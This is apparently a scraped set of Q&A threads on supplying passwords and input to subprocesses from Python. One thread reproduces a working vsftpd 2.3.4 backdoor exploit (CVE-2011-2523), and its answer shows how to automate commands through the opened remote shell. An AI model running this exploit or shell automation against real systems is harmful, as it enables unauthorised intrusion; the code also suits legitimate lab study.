In Perl, if I have execute a script and pass a password to it programatically, I would do this:
my $result = qx { "Calling some script which prompts for a user and password" <<EOF
administrator
password
EOF
};
It executes the following while capturing its output:
/bin/sh -c ' "Calling some script which prompts for a user and password" <<EOF
administrator
password
EOF
'
May I know the equivalent of this in Python?
If I udnerstand your question correctly, you're trying to start an external script within its own process, and send that script some data - a password - via its standard input.
In Python, this is done using the subprocess module. This module runs external scripts and has a stdin, stdout and stderr parameters.
For example, suppose that the script is md5sum. You would like to send it the password secret:
>>> import subprocess as sp
>>> p = sp.Popen('md5sum', stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
>>> p.communicate(input="secret") # <-- Your password
('5ebe2294ecd0e0f08eab7690d2a6ee69 -\n', '') # <-- Process output
p.communicate() returns an (stdout, stderr) tuple, which is useful for processing the script output.
You may also find this answer useful.
Related
I would like to "automate" a reverse shell given by a script. Let me explain:
Contexte: There is a backdoor on a vulnerable machine.
What am I doing: I create a subprocess which executes a script (python, perl, ...) and which gives me a reverse shell.
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()
What I would like to do: Along with running my script <=> running my reverse shell, I would like to be able to interact with it, using methods.
Today, I am able to write manually in the terminal of my reverse shell: the script that I call with Popen runs and uses the backdoor. This gives me a reverse shell and I can type my commands.
Tomorrow, I would like to be able to call methods during the execution of this reverse shell: I run a script with Popen, it exploits the backdoor and gives me a shell. And rather than typing commands manually, I would like that automatically, a whole series of commands be sent to this reverse shell, and that for each one of them, I be able to recover the returned data.
Ideally, I would like something like that:
backdoor.execute() //This method allow me to get a reverse shell
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell
What I tried to do without success: I tried with the Popen class of the subprocess module, to redirect the input and / or the output of the script
Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
However, when trying to redirect these two streams (or just one of them), my reverse shell closes as quickly as it opened.
I also tried to put my commands directly on the communicate() method:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
I tried this with and without redirection of input and / or output, but nothing worked.
Finally, I tried to use the pexpect module to run my script to get a reverse shell, but I didn't have anything conclusive (maybe I did it wrong).
PS: I cannot change the code of the script that allows me to use the backdoor.
backdoor.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
This should work for the single command after a \n is appended and if the -u (unbuffered) option is used. Of course something has to be done with the return value in order to get the command output:
output = Popen(["python", "-u", "/opt/exploits/backdoor.py", remote_ip],
stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami\n")
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
Provided that
backdoor = Popen(["python", "-u", "backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE)
we can send a command (if you don't want to exit thereafter) with e. g.
backdoor.stdin.write(b"whoami\n")
and get the result of indetermined length with
import select
import os
timeout = 1
while select.select([backdoor.stdout], [], [], timeout)[0]:
print(os.read(backdoor.stdout.fileno(), 4096).decode())
Problem Statement:
Execute a groovy script in shell using Python
The Shell would request for password and display "Password:"
Need to check if that is displayed and provide a password.
Verify the output as "Approved"
My code looks something like this:
#!/usr/bin/env python
import subprocess
import time
process = subprocess.Popen(['groovy', 'some.groovy -u param1 -h param2-p param3'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
time.sleep(5)
stdout, stderr = process.communicate()
print stdout
#Now id the output says "Password:", I need to provide it and then again check if shell displays "Approved"
I have command line program what prompts password:
> cwrsync root#NN.NN.NN.NN:/src /cygdrive/c/dst
Output (when i run it from cmd.exe command line):
root#NN.NN.NN.NN's password:
When i input password manually, all OK. Output:
skipping directory src
I want to provide password for it from command line or python script automatically.
I tried:
One. From command line:
> echo pass|cwrsync -r root#NN.NN.NN.NN:/src /cygdrive/c/dst
Not working. Output:
root#NN.NN.NN.NN's password:
Two. From python script. test.py:
import subprocess
cmd = "cwrsync -r root#NN.NN.NN.NN:/src /cygdrive/c/dst"
proc = subprocess.Popen(cmd1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
std1, std2 = proc.communicate("pass")
print std1print std2
Not workin. Output:
Permission denied, please try again.
Permission denied, please try again.
Permission denied (publickey,password).
rsync: connection unexpectedly closed (0 bytes received so far) [Receiver]
rsync error: unexplained error (code 255) at io.c(235) [Receiver=3.1.1]
It is common that security oriented programs ask for password on direct io instead of reading stdin. And as :
echo pass|cwrsync -r root#NN.NN.NN.NN:/src /cygdrive/c/dst
did ask password, I presume that csrsync directly reads from console.
In that case you cannot automate it without some work and low level programming, because you will have to simulate keyboard actions. You should instead search the documentations, because as it looks like it uses an underlying ssh, it is likely to accept a public key pair. If it accept one without passphrase, you should be able to automate it.
Try sending a newline in your stdin string communicate call like so:
import subprocess
cmd = ['cwrsync', '-r', 'root#NN.NN.NN.NN:/src', '/cygdrive/c/dst']
proc = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
shell=True)
std1, std2 = proc.communicate("pass\r\n\r\n")
print std1
print std2
You should also see if it works with shell=False (from subprocess docs):
Using shell=True can be a security hazard. See the warning under Frequently Used Arguments for details.
Python script is designed to run with elevated credentials, unfortunately
it still prompts me for password
when I enter the correct password it doesn't work
Here is script1, which calls script2 with elevated credentials
import os
import sys, subprocess, socket, string
import wmi, win32api, win32con
import win32com.shell.shell as sh
ASADMIN = '/user:DOMAIN\username'
os.system('"runas /user:DOMAIN\username "D:/Python27/python.exe script2.py sender-ip=10.10.10.10 < password.txt""')
sys.exit(0)
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ''.join([ASADMIN] + ['D:\Python27\python.exe',script] + sys.argv[1:])
sh.ShellExecuteEx(lpVerb='runas',lpFile=sys.executable,lpParameters=params)
sys.exit(0)
Here is script2
import sys, subprocess, socket, string
import wmi, win32api, win32con
for args in [item.strip('sender-ip=') for item in sys.argv[1:]]:
userIP = args
userloggedon = ""
# perform system lookup of IP address
userIP = "\\\\" + userIP
pst = subprocess.Popen(
["D:\pstools\psloggedon.exe", "-l", "-x", userIP],
stdout = subprocess.PIPE,
stderr = subprocess.PIPE
)
out, error = pst.communicate()
userLoggedOn = out.split('\n')[1].strip()
print 'userId={}'.format(userLoggedOn)
f = open('D:\SymantecDLP\Protect\plugins\output.txt', 'w')
f.write('userId={}'.format(userLoggedOn))
output.txt is not created
Any ideas?
EDIT
I also read this thread, How to supply password to runas command when executing it from java
but no matter what I try I keep getting the error
Attempting to start c:\test.bat as user "DOMAIN\username" ...
RUNAS ERROR: Unable to run - c:\test.bat
1326: Logon failure: unknown user name or bad password.
Let's talk about your problems one at the time.
1. It still prompts me for password
In the line
os.system('"runas /user:DOMAIN\username "D:/Python27/python.exe script2.py sender-ip=10.10.10.10 < password.txt""')
you're providing the password to script2. runas command still need a password since is trying to run a program as another user.
2. When I enter the correct password it doesn't work
Well ... The code does'n work that's clear. But, you have to be more specific when asking a question. Right now a look to your code and I can see that you're trying to do ping on a remote machine.
Might the remote machine has a firewall?
Have you tryed doing ping manually?
Edit: The output.txt file is not created, and running the script don't tell you nothing about error writting the file, obviously your code is hitting one of the sys.exit() lines.
You can use PsExec
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
You can supply a username and password and executing does not need to be elevated to admin:
psexec [\computer[,computer2[,...] | #file]]\ [-u user [-p psswd] [-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w directory][-d][-][-a n,n,...] cmd [arguments]
Use the -e switch to give the same results as Runas /netonly:
-e Does not load the specified account’s profile.
I am trying to do a CVS login from Python by calling the cvs.exe process.
When calling cvs.exe by hand, it prints a message to the console and then waits for the user to input the password.
When calling it with subprocess.Popen, I've noticed that the call blocks. The code is
subprocess.Popen(cvscmd, shell = True, stdin = subprocess.PIPE, stdout = subprocess.PIPE,
stderr = subprocess.PIPE)
I assume that it blocks because it's waiting for input, but my expectation was that calling Popen would return immediately and then I could call subprocess.communicate() to input the actual password. How can I achieve this behaviour and avoid blocking on Popen?
OS: Windows XP
Python: 2.6
cvs.exe: 1.11
Remove the shell=True part. Your shell has nothing to do with it. Using shell=True is a common cause of trouble.
Use a list of parameters for cmd.
Example:
cmd = ['cvs',
'-d:pserver:anonymous#bayonne.cvs.sourceforge.net:/cvsroot/bayonne',
'login']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
This won't block on my system (my script continues executing).
However since cvs reads the password directly from the terminal (not from standard input or output) you can't just write the password to the subprocess' stdin.
What you could do is pass the password as part of the CVSROOT specification instead, like this:
:pserver:<user>[:<passwd>]#<server>:/<path>
I.e. a function to login to a sourceforge project:
import subprocess
def login_to_sourceforge_cvs(project, username='anonymous', password=''):
host = '%s.cvs.sourceforge.net' % project
path = '/cvsroot/%s' % project
cmd = ['cvs',
'-d:pserver:%s:%s#%s:%s' % (username, password, host, path),
'login']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE,
stdout=subprocess.PIPE
stderr=subprocess.STDOUT)
return p
This works for me. Calling
login_to_sourceforge_cvs('bayonne')
Will log in anonymously to the bayonne project's cvs.
If you are automating external programs that need input - like password - your best bet would probably be to use pexpect.